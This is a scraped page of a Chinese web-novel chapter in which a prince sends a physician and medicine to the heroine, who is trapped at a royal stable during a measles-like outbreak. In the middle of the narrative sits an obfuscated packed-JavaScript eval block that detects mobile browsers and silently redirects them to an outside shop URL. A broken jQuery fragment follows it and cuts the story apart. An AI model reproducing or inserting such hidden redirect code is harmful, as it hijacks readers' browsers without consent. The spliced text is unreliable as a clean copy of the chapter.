文趣网 > 其他小说 > 换嫁王爷后,我被娇养了 > 第九十一章 助她
    秦如意后知后觉,一拍大腿:“你的意思,虞婉桢不是病了,她不在府中!”

    虞云舒点头。

    “不对啊!”秦如意啧了一声,又道:“她既然不在清秋院,王爷来做什么?”

    虞云舒冷笑:“母亲还没看明白吗,襄王借着送簪子的名义亲自来清秋院,为的就是确认她的去向。”

    “那簪子再宝贵,不能派人送吗,退一步说,这么晚了,又不急要,明儿他也能亲自送。”

    秦如意终于听懂了:“难怪,我就说襄王殿下怎地如此反常,连夜来虞家,还非不等通传要亲自去清秋院。”

    “不行,我这就叫人拆穿虞婉桢不在府中的事……”

    虞云舒拦住她:“你有证据吗,清秋院是虞家的,但不归虞家管辖。”

    “如今又有襄王撑腰,虞婉桢说什么是什么,你敢带人强行闯入?”

    秦如意顿时蔫儿了:“这也不行那也不行,你说怎么办?”

    虞云舒附耳,小声说了自己的计划。

    秦如意听完错愕的看向她:“这,真的能行?”

    “有什么能不能行的?”虞云舒冷笑:“我们说的是事实,又没胡编乱造。”

    “再说了,虞婉桢偷着出府会见情人,被乞丐目睹,跟我们有关系吗?”

    “对对对,没关系。”秦如意神秘一笑:“我这就叫人去做!”

    ……

    楼亦闻进了院子,墨尘也顾不得规矩体统,急急将人带进门。

    不等他发问,一五一十说了虞婉桢的去向,以及那封刚收到的信。

    “马瘟?”楼亦闻听完一头雾水:“皇家马场在近郊,看管严格,怎么会有这种东西?”

    “小姐在信上囫囵带过,并未说具体原因。”墨尘早就将那封信烧了毁尸灭迹。

    只能凭借印象,说起小姐要药材和先前制作的药丸。

    “赶紧叫人送过去。”楼亦闻按了按眉心,没有丝毫犹豫:“本王也去。”

    “不行!”墨尘和山骨同时开口阻拦。

    山骨一把跪下:“爷,您吃了那么多药,哪怕调整,身子也是实打实的虚弱。”

    “马瘟这种东西不好说,虞大小姐身边有白芍,她的医术您也知道,她们困在那儿,定觉得马瘟可能传染给人。”

    “您要是染上,那可真是连主心骨都没了!”

    墨尘也道:“小姐信上说暂时别惊动您,若非您晚间过来,奴婢也不会一一告知。”

    “如果您现在去,小姐定要责怪奴婢们办事不利了,再说您在外边,还能做小姐的接应。”

    楼亦闻关心则乱,只想早点见到虞婉桢,确定她的安危。

    被墨尘和山骨一拦,他倒是清醒了不少。

    瘟疫不是小问题,马场又距离皇城近,一旦蔓延,整座马场连带里面的人全活不成。

    虞婉桢已经身在其中,无法出来,他得在外边为她争取时间。

    “行,本王不去。”楼亦闻侧身吩咐山骨:“你亲自把东西送去马场,最好能想办法见一面她。”

    “墨尘留下,婉祯的去向一定要保密,不让那几个蠢货察觉异常。”

    “另外,把她要的药材以及东西多准备一些,包括衣物和遮掩口鼻的纱巾。”

    楼亦闻并未在清秋院耽搁,交代完毕带着人离开。

    临走,还留下了两个守卫,免得秦如意和虞云舒坏事。

    秦如意一直在前厅候着,想试探一下楼亦闻的态度。

    见人出来,匆匆跟在楼亦闻后面送客:“王爷,婉祯如何了?”

    “她心神不宁,惧怕所致。”楼亦闻停下脚步,看着笑得后槽牙都出来的秦如意,冷声道。

    “今日开始,不许任何人去清秋院打扰,婉祯需要好好休息。”

    秦如意哂笑:“是是是,都听王爷的吩咐。”

    又问:“那,要不要请大夫啊?”

    楼亦闻停下脚步。

    秦如意没收住步子,差点撞在人身上。

    等反应过来,后背惊出一层冷汗:“王爷还有吩咐?”

    “不准任何人打扰,听不懂人话?”楼亦闻眯着眼打量秦如意:“婉祯生病,你好像很高兴?”

    秦如意连忙收起笑意:“不,不是,这不是面对着您……”

    “希望你记住本王的话。”楼亦闻打断她的解释:“虞婉桢是本王的恩人,更是圣上钦定的襄王准妃。”

    “是,谨遵王爷的吩咐。”秦如意连忙垂下脑袋。

    楼亦闻带着人扬长而去,她站在门口,神色阴沉。

    “看来云舒说的没错。”秦如意跟身边的芬嬷嬷说:“今晚你悄悄出去……”

    ……

    山骨不敢耽搁,连夜带着物资去了马场约定的位置。

    一起去的,还有经常给楼亦闻看诊的程大夫,以及七个懂点药理的伙计。

    程大夫是太医院退下来的老人了,因卷入后妃争斗差点没了命,被先皇后所救。

    至此离开太医院,专门照顾楼亦闻,绝对信得过。

    虞婉桢暂时没想让楼亦闻知道,她打算等药材到了,用过后看效果决定。

    月色高悬,照得大地披上了一层冰冷的银光。

    山骨蒙着面纱,又在面纱上加了一层面巾,将程大夫介绍给虞婉桢。

    “虞大小姐,王爷说了,有任何问题都可以飞鸽传书,王爷一定竭尽全力相助。”

    虞婉桢看着满满一车药材,以及上了年纪的程大夫,迟疑一瞬:“程大夫年岁已高,万一染上病……”

    “没事。”程大夫拱手:“老朽在太医院就曾染上天花,侥幸捡回一命,身子骨倒因祸得福变好了不少。”

    “再说疫症这种问题必须尽快解决,宜早不宜迟,如果能在早期控制,不仅能减少伤亡也能挽救不少无辜人的性命。”

    “是啊。”山骨也说:“白芍医术虽然尚可,但她一人到底忙不过来。”

    想到赵元华面上的燎泡,以及那些异常的马,虞婉桢沉声道:“按照白芍的诊断,这样的罕见的情况是头一遭。”

    “可能很快能好,也可能情况比我们说的还要厉害,你回去后告诉王爷最近少出门。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17675366|207446||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    程大夫的到来,驱散了些许笼罩着马场的阴霾。

    夜深了,本该休息。

    程大夫坚持要晚上先给马场里的人诊脉,天亮了再去看马。

    虞婉桢当然陪着一起。

    一一诊脉后,程大夫肯定了白芍的判断:“的确是麻疹的脉象,不过人和马同时患病,还是头一回碰见。”

    “连夜熬制治疗麻疹的药先吃,王爷跟老朽说过后,为了以防万一,老朽另外加了好几种草药。”

    “今晚熬药的同时,给马也先准备一些,按照两批次给药,明早看效果决定。”

    说完,程大夫看向白芍:“小丫头很厉害,能快速发现别人没发现的事。”

    白芍垂下眼眸:“师父高看我了,我只能诊断出人体内的麻疹,是虞大小姐先发现两者牵连。”

    “师父?”虞婉桢看看程大夫,又看看白芍。

    白芍这才解释:“我自小跟着程大夫学医,后来程大夫拜入襄王麾下,我也就顺势去了襄王府。”

    “还有这种渊源。”虞婉桢的心又放下了些许。

    开方子熬药煎药,一晃天色已然蒙蒙亮。

    虞婉桢和白芍困得哈欠连连,确定赵元华等人吃了药,她们才回房间。

    再起来,已经日晒三竿。

    赵熙雯从外边进来,眼睛红肿着,脸上却挂着笑意:“好消息,婉祯姐姐,天大的好消息!”

    虞婉桢睡眼惺忪,听到她放松的语调,问:“药起作用了?”

    “是!”赵熙雯蒙着脸,红肿的眉眼弯弯:“我父亲嘴边的燎泡消了很多,周叔和林伯他们也是。”

    “程大夫说是好兆头,如果顺利,明儿就能恢复,不仅如此,给马吃的那些药也起了作用!”

    虞婉桢深吸一口气,重重吐出:“看来是我们太紧张了。”

    “不是呢!”赵熙雯将手中的东西放在桌前:“程大夫说了,这种病未必是从人身上传出来的。”

    “第一个发病的,是死去的那匹叫追风的马,最先出现问题的小厮日夜照看着追风。”

    她拍着心口:“更庆幸的是最近七皇子没来马场,不然给这位主子染上了,整个典厩署的人都得死!”

    虞婉桢没主意七皇子如何,她蹙眉:“所以先发病的还是马?”

    “应该是。”赵熙雯不懂医术,听得云里雾里:“姐姐吃点东西,等下去前头看过就知道了。”

    虞婉桢简单洗漱吃了点东西,赶着去了前面。

    程大夫几乎一夜没合眼,露在外边的双眼微微红肿,眼袋瞧着更大了。

    他看到虞婉桢过来,眸色凝重:“虞大小姐,昨晚的药方有用,您的解毒丸也起了至关重要的作用。”

    “只是有一桩事,不知道该怎么办。”

    虞婉桢四下看了眼,周围除了程大夫和他的近身心腹,还有赵元华,此外没有别人。

    之前赵元华吩咐埋了的追风被挖出来,就放在台阶下。

    周围用草木灰撒过一圈,也熬了艾草浇灌,隔着面纱,臭味还是抑制不住的传出。